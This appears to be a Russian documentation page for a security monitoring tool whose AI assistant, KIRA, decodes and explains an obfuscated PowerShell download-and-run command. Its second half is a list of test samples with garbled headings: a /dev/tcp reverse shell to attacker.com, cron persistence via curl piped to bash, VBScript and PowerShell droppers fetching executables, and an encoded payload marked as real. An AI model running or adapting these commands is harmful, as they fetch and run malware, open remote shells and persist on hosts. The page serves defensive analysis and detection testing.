

Далее, либо в корреляционном событии, либо в базовом на интересующем поле нажать на "три точки" и затем проанализировать:

<input type="checkbox"/>	Привяка к алерту	Timesta...	Name	Message	Devic
<input type="checkbox"/>	Есть	09.04.2025 12:4...	R110_06_Кодировка исполняемо...	Пользователь DEMO.LAB\bob на ...	10.6€
<input type="checkbox"/>	Есть	09.04.2025 12:4...	A new process has been created.	Создан новый процессо	10.6€

DeviceCustomString1	S-1-16-8192
DeviceCustomString1Label	Mandatory Label
DeviceCustomString3	0x5828
DeviceCustomString3Label	Process ID
DeviceCustomString4	powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -W Hidden -Command "\$s = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('http://a7396d6[REDACTED]om/d/backdoor.exe')); iwr \$s -OutFile backdoor.exe; Start-Process .\backdoor.exe"
DeviceCustomString4Label	Command Line

Возможность редактирования запроса перед отправкой в KIRA обеспечивает дополнительный уровень контроля над конфиденциальностью данных. Это особенно важно в случаях, когда анализируемые строки кода содержат чувствительную информацию, такую как персональные данные, учетные записи или ключи доступа.

Проанализировать

Исходный запрос был деобфусцирован

Осталось токенов 10000000

```
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -W Hidden -Command "$s = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('http://a7396d6[REDACTED]om/d/backdoor.exe')); iwr $s -OutFile backdoor.exe; Start-Process .\backdoor.exe"
```

Проанализировать

Действия

Результат анализа KIRA

Результат взят из локальной базы без использования токенов.

Результаты, предоставленные системой искусственного интеллекта, являются автоматическими и могут содержать неточности.

Последнее обновление

09.04.2025

Вывод

Подозрительно

Краткое содержание

Команда использует PowerShell для скрытого выполнения команд, включая обход политики выполнения скриптов и декодирование URL-адреса из Base64 для загрузки и исполнения вредоносного ПО (backdoor.exe), что представляет собой значительный риск для безопасности системы.

Анализ

1. powershell - Запуск Windows PowerShell.
2. -NoProfile - Указывает не загружать профиль пользователя.
3. -NonInteractive - Выполняет команду без взаимодействия с пользователем.
4. -ExecutionPolicy Bypass - Обходит политику выполнения скриптов.
5. -W Hidden - Скрывает окно PowerShell при выполнении команды.
6. -Command - Передает команду непосредственно в PowerShell.
7. \$s = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('http://a7396d6[REDACTED]om/d/backdoor.exe')) - Декодирование URL-адреса из Base64 и присвоение его значения переменной \$s.
8. iwr \$s -OutFile backdoor.exe - Использование Invoke-WebRequest (iwr) для скачивания содержимого по адресу \$s в файл backdoor.exe.
9. Start-Process .\backdoor.exe - Запуск скачанного файла backdoor.exe.

По кнопке **Действия** можно посмотреть отчет о деобфускации:

Отчёт по деобфускации



Исходная командная строка

```
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -W Hidden -Command "$s = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovL2E3Mzk2ZDYxY2FmZmUxOGE0Y2ZmYmlzYjQyOGM5YjYwLmNvbS9kL2JhY2tkb29yLmV4ZQ==')); iwr $s -OutFile backdoor.exe; Start-Process .\backdoor.exe"
```

Итоговый результат деобфускации

```
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -W Hidden -Command "$s = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('http://a7396d61-██████████m/d/backdoor.exe')); iwr $s -OutFile backdoor.exe; Start-Process .\backdoor.exe"
```

Командная строка с найденными закодированными (возможно обфусцированными) частями

```
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -W Hidden -Command "$s = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('ENCODED_B64_0_00')); iwr $s -OutFile backdoor.exe; Start-Process .\backdoor.exe"
```

Детальный разбор по каждой замене (в том числе на вложенных уровнях)

ENCODED_B64_0_00 → http://a7396d██████████m/d/backdoor.exe

????????? ????????

Команды не рабочие все ссылки заменены, но это не отменяет перепроверку и аккуратность использования

????????? ?????????????? ? ?????????????????????? ???????

```
$e=( [char]0x68+[char]0x65+[char]0x6C+[char]0x6C+[char]0x6F);iex $e
```

????????????????? Base64 ??? ??????????????????

```
powershell.exe -Command "$s = [Sy\u0073tem.Text.En\u0063oding]::ASCII.GetString([Sy\u0073tem.Convert]::FromBase64String('aHR0cHM6Ly9tYWwwd2FyZS5ydS9wYXlsb2FkX3NvbWU=')); iwr $s -UseBasicParsing | iex"
```

????????????????? Base64 ??? ?????????????????? ? ?????????????????? ??????????
PS

```
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -W Hidden -Command "$s = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovL2FiYzkyMXRlc3RlSVJBBGluay5jb20vZC9iYWNRZG9vcjEyMy5leGU=')); iwr $s -OutFile backdoor.exe; Start-Process
```

```
.\backdoor.exe"
```

???????????????? ???? ?????????????? ??? ????????? ??????????

```
$cmd = 'powershell.exe -nop -w hidden -e ' +  
[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('Invoke-WebRequest "http://evil-  
some.com/malicious123.exe" -OutFile "malicious.exe"; Start-Process "malicious.exe"')) iex  
($cmd)
```

???????????????? ???? ?????????????? ????? ??? ????????????????? ????????

```
$cmd = New-Object System.Net.WebClient; $cmd.DownloadFile("http://evil-  
some.com/payload123.exe", "C:\path\to\payload.exe")
```

????????? Shell (???????? ????????)

```
bash -i >& /dev/tcp/attacker.com/4444 0>&1
```

????????? ????????????????? ?????????? Cron

```
echo "*/5 * * * * curl bad.site/payload.sh | bash" >> /var/spool/cron/root
```

???????????? ???? ?????????? ? ?????????????? ? ????????????????? ?????? VBScript

```
cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h.Open  
"GET","http://example.com:5506/ny.vbs",0:h.Send:Execute h.ResponseText > "%temp%\ny.vbs" &&  
"%temp%\ny.vbs"
```

???????????????? ???? ?????????? ?????????? ?? VBScript ? ?????????????? ?
???????????????? ?? ??????

```
cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h.Open  
"GET","http://example.com:5506/wk.vbs",0:h.Send:Execute h.ResponseText > "%temp%\wk.vbs" &&  
"%temp%\wk.vbs"
```

???????????????????? PowerShell-???????????? ?????????? ? ?????????????? ?
????????????????

Выполняйте команду только в изолированной среде, она является реальным примером

```
powershell -wind mi -Enc
```

```
JwBhACcALAAAnAHoAJwB8ACUAewAuACcAaQBlAHgAJwAoACgAKAAiAHcAaQB3AHIAbQAgADcANgAzADYAMwA4ADEA0QAxAC  
8AbABvAG0ALwAKAF8ALgBnAHcAaQBmAHwAdwBpAHcAZQB3AHgAIgApAC4AcgBlAHAAbABhAGMAZQAOACcAdwAnACwAJwAn  
ACkAKQApAH0A
```

????????? VBScript ? Windows ?????? curl

```
cmd /c "curl -s http://example.com:5506/dd.vbs -o %temp%dd.vbs >nul && start /b wscript.exe //B  
//E:VBScript %temp%dd.vbs && exit"
```

```
cmd /c "curl -s http://example.com:5506/dd.vbs -o %temp%dd.vbs >nul && start /b wscript.exe //B  
//E:VBScript %temp%dd.vbs && exit"
```

Revision #11

Created 2025-04-14 07:29:49 UTC by Boris RZR

Updated 2026-05-15 08:54:34 UTC by Boris RZR